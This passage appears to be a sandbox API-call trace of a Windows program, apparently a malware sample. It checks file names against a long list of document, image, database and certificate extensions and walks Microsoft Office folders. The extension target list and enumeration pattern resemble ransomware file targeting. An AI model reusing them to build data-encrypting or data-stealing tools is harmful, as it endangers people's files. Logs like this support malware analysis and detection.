lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".config") returned 7 [0052.078] lstrcmpiW (lpString1=".config", lpString2="ath.dll") returned -1 [0052.079] lstrlenW (lpString=".cpp") returned 4 [0052.079] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".cr2") returned 4 [0052.079] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".crt") returned 4 [0052.079] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".crw") returned 4 [0052.079] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".cs") returned 3 [0052.079] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0052.079] lstrlenW (lpString=".css") returned 4 [0052.079] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".csv") returned 4 [0052.079] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".cub") returned 4 [0052.079] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dae") returned 4 [0052.079] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dat") returned 4 [0052.079] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".db") returned 3 [0052.079] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0052.079] lstrlenW (lpString=".dbf") returned 4 [0052.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dbx") returned 4 [0052.079] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dc3") returned 4 [0052.079] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dcm") returned 4 [0052.079] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".dcr") returned 4 [0052.079] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0052.079] lstrlenW (lpString=".der") returned 4 [0052.079] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0052.080] lstrlenW (lpString=".dib") returned 4 [0052.080] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0052.080] lstrlenW (lpString=".dic") returned 4 [0052.080] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0052.080] lstrlenW (lpString=".dif") returned 4 [0052.080] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0052.080] lstrlenW (lpString=".divx") returned 5 [0052.080] lstrcmpiW (lpString1=".divx", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".djvu") returned 5 [0052.080] lstrcmpiW (lpString1=".djvu", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".dng") returned 4 [0052.080] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0052.080] lstrlenW (lpString=".doc") returned 4 [0052.080] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.080] lstrlenW (lpString=".docm") returned 5 [0052.080] lstrcmpiW (lpString1=".docm", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".docx") returned 5 [0052.080] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".dot") returned 4 [0052.080] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0052.080] lstrlenW (lpString=".dotm") returned 5 [0052.080] lstrcmpiW (lpString1=".dotm", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".dotx") returned 5 [0052.080] lstrcmpiW (lpString1=".dotx", lpString2="h.dll") returned -1 [0052.080] lstrlenW (lpString=".dpx") returned 4 [0052.080] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0052.080] lstrlenW (lpString=".dqy") returned 4 [0052.081] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".dsn") returned 4 [0052.081] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".dt") returned 3 [0052.081] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0052.081] lstrlenW (lpString=".dtd") returned 4 [0052.081] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".dwg") returned 4 [0052.081] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".dwt") returned 4 [0052.081] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".dx") returned 3 [0052.081] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0052.081] lstrlenW (lpString=".dxf") returned 4 [0052.081] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".edml") returned 5 [0052.081] lstrcmpiW (lpString1=".edml", lpString2="h.dll") returned -1 [0052.081] lstrlenW (lpString=".efd") returned 4 [0052.081] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".elf") returned 4 [0052.081] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0052.081] lstrlenW (lpString=".emf") returned 4 [0052.081] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".emz") returned 4 [0052.082] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".epf") returned 4 [0052.082] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".eps") returned 4 [0052.082] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".epsf") returned 5 [0052.082] lstrcmpiW (lpString1=".epsf", lpString2="h.dll") returned -1 [0052.082] lstrlenW (lpString=".epsp") returned 5 [0052.082] lstrcmpiW (lpString1=".epsp", lpString2="h.dll") returned -1 [0052.082] lstrlenW (lpString=".erf") returned 4 [0052.082] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".exr") returned 4 [0052.082] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".f4v") returned 4 [0052.082] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".fido") returned 5 [0052.082] lstrcmpiW (lpString1=".fido", lpString2="h.dll") returned -1 [0052.082] lstrlenW (lpString=".flm") returned 4 [0052.082] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".flv") returned 4 [0052.082] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".frm") returned 4 [0052.082] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0052.082] lstrlenW (lpString=".fxg") returned 4 [0052.082] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".geo") returned 4 [0052.083] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".gif") returned 4 [0052.083] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".grs") returned 4 [0052.083] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".gz") returned 3 [0052.083] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0052.083] lstrlenW (lpString=".h") returned 2 [0052.083] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0052.083] lstrlenW (lpString=".hdr") returned 4 [0052.083] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".hpp") returned 4 [0052.083] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".hta") returned 4 [0052.083] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".htc") returned 4 [0052.083] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".htm") returned 4 [0052.083] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".html") returned 5 [0052.083] lstrcmpiW (lpString1=".html", lpString2="h.dll") returned -1 [0052.083] lstrlenW (lpString=".icb") returned 4 [0052.083] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".ics") returned 4 [0052.083] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".iff") returned 4 [0052.083] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".inc") returned 4 [0052.083] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0052.083] lstrlenW (lpString=".indd") returned 5 [0052.083] lstrcmpiW (lpString1=".indd", lpString2="h.dll") returned -1 [0052.083] lstrlenW (lpString=".ini") returned 4 [0052.084] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".iqy") returned 4 [0052.084] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".j2c") returned 4 [0052.084] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".j2k") returned 4 [0052.084] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".java") returned 5 [0052.084] lstrcmpiW (lpString1=".java", lpString2="h.dll") returned -1 [0052.084] lstrlenW (lpString=".jp2") returned 4 [0052.084] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".jpc") returned 4 [0052.084] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".jpe") returned 4 [0052.084] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".jpeg") returned 5 [0052.084] lstrcmpiW (lpString1=".jpeg", lpString2="h.dll") returned -1 [0052.084] lstrlenW (lpString=".jpf") returned 4 [0052.084] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".jpg") returned 4 [0052.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".jpx") returned 4 [0052.084] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".js") returned 3 [0052.084] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0052.084] lstrlenW (lpString=".jsf") returned 4 [0052.085] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".json") returned 5 [0052.085] lstrcmpiW (lpString1=".json", lpString2="h.dll") returned -1 [0052.085] lstrlenW (lpString=".jsp") returned 4 [0052.085] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".kdc") returned 4 [0052.085] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".kmz") returned 4 [0052.085] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".kwm") returned 4 [0052.085] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".lasso") returned 6 [0052.085] lstrcmpiW (lpString1=".lasso", lpString2="th.dll") returned -1 [0052.085] lstrlenW (lpString=".lbi") returned 4 [0052.085] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".lgf") returned 4 [0052.085] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".lgp") returned 4 [0052.085] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".log") returned 4 [0052.085] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".m1v") returned 4 [0052.085] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".m4a") returned 4 [0052.085] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".m4v") returned 4 [0052.085] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".max") returned 4 [0052.085] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".md") returned 3 [0052.085] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0052.085] lstrlenW (lpString=".mda") returned 4 [0052.085] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0052.085] lstrlenW (lpString=".mdb") returned 4 [0052.086] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mde") returned 4 [0052.086] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mdf") returned 4 [0052.086] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mdw") returned 4 [0052.086] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mef") returned 4 [0052.086] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mft") returned 4 [0052.086] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mfw") returned 4 [0052.086] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mht") returned 4 [0052.086] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mhtml") returned 6 [0052.086] lstrcmpiW (lpString1=".mhtml", lpString2="th.dll") returned -1 [0052.086] lstrlenW (lpString=".mka") returned 4 [0052.086] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mkidx") returned 6 [0052.086] lstrcmpiW (lpString1=".mkidx", lpString2="th.dll") returned -1 [0052.086] lstrlenW (lpString=".mkv") returned 4 [0052.086] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mos") returned 4 [0052.086] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mov") returned 4 [0052.086] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mp3") returned 4 [0052.086] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mp4") returned 4 [0052.086] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0052.086] lstrlenW (lpString=".mpeg") returned 5 [0052.086] lstrcmpiW (lpString1=".mpeg", lpString2="h.dll") returned -1 [0052.087] lstrlenW (lpString=".mpg") returned 4 [0052.087] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".mpv") returned 4 [0052.087] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".mrw") returned 4 [0052.087] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".msg") returned 4 [0052.087] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".mxl") returned 4 [0052.087] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".myd") returned 4 [0052.087] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".myi") returned 4 [0052.087] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".nef") returned 4 [0052.087] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".nrw") returned 4 [0052.087] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".obj") returned 4 [0052.087] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".odb") returned 4 [0052.087] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".odc") returned 4 [0052.087] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".odm") returned 4 [0052.087] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".odp") returned 4 [0052.087] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".ods") returned 4 [0052.087] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".oft") returned 4 [0052.087] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0052.087] lstrlenW (lpString=".one") returned 4 [0052.087] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".onepkg") returned 7 [0052.088] lstrcmpiW (lpString1=".onepkg", lpString2="ath.dll") returned -1 [0052.088] lstrlenW (lpString=".onetoc2") returned 8 [0052.088] lstrcmpiW (lpString1=".onetoc2", lpString2="path.dll") returned -1 [0052.088] lstrlenW (lpString=".opt") returned 4 [0052.088] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".oqy") returned 4 [0052.088] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".orf") returned 4 [0052.088] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".p12") returned 4 [0052.088] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".p7b") returned 4 [0052.088] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".p7c") returned 4 [0052.088] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pam") returned 4 [0052.088] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pbm") returned 4 [0052.088] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pct") returned 4 [0052.088] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pcx") returned 4 [0052.088] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pdd") returned 4 [0052.088] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pdf") returned 4 [0052.088] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pdp") returned 4 [0052.088] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pef") returned 4 [0052.088] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0052.088] lstrlenW (lpString=".pem") returned 4 [0052.089] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pff") returned 4 [0052.089] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pfm") returned 4 [0052.089] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pfx") returned 4 [0052.089] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pgm") returned 4 [0052.089] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".php") returned 4 [0052.089] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".php3") returned 5 [0052.089] lstrcmpiW (lpString1=".php3", lpString2="h.dll") returned -1 [0052.089] lstrlenW (lpString=".php4") returned 5 [0052.089] lstrcmpiW (lpString1=".php4", lpString2="h.dll") returned -1 [0052.089] lstrlenW (lpString=".php5") returned 5 [0052.089] lstrcmpiW (lpString1=".php5", lpString2="h.dll") returned -1 [0052.089] lstrlenW (lpString=".phtml") returned 6 [0052.089] lstrcmpiW (lpString1=".phtml", lpString2="th.dll") returned -1 [0052.089] lstrlenW (lpString=".pict") returned 5 [0052.089] lstrcmpiW (lpString1=".pict", lpString2="h.dll") returned -1 [0052.089] lstrlenW (lpString=".pl") returned 3 [0052.089] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0052.089] lstrlenW (lpString=".pls") returned 4 [0052.089] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pm") returned 3 [0052.089] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0052.089] lstrlenW (lpString=".png") returned 4 [0052.089] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pnm") returned 4 [0052.089] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".pot") returned 4 [0052.089] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0052.089] lstrlenW (lpString=".potm") returned 5 [0052.090] lstrcmpiW (lpString1=".potm", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".potx") returned 5 [0052.090] lstrcmpiW (lpString1=".potx", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".ppa") returned 4 [0052.090] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".ppam") returned 5 [0052.090] lstrcmpiW (lpString1=".ppam", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".ppm") returned 4 [0052.090] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".pps") returned 4 [0052.090] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".ppsm") returned 5 [0052.090] lstrcmpiW (lpString1=".ppsm", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".ppt") returned 4 [0052.090] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".pptm") returned 5 [0052.090] lstrcmpiW (lpString1=".pptm", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".pptx") returned 5 [0052.090] lstrcmpiW (lpString1=".pptx", lpString2="h.dll") returned -1 [0052.090] lstrlenW (lpString=".prn") returned 4 [0052.090] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".ps") returned 3 [0052.090] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0052.090] lstrlenW (lpString=".psb") returned 4 [0052.090] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".psd") returned 4 [0052.090] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".pst") returned 4 [0052.090] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".ptx") returned 4 [0052.090] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0052.090] lstrlenW (lpString=".pub") returned 4 [0052.090] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0052.091] lstrlenW (lpString=".pwm") returned 4 [0052.091] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0052.091] lstrlenW (lpString=".pxr") returned 4 [0052.091] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0052.091] lstrlenW (lpString=".py") returned 3 [0052.091] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0052.091] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0052.091] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0052.091] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0052.091] FindClose (in: hFindFile=0x3ef2388 | out: hFindFile=0x3ef2388) returned 1 [0052.091] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.091] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.092] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.092] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f23b90 | out: hHeap=0x510000) returned 1 [0052.092] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.092] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.092] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.092] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.093] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f23b90 | out: hHeap=0x510000) returned 1 [0052.093] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, 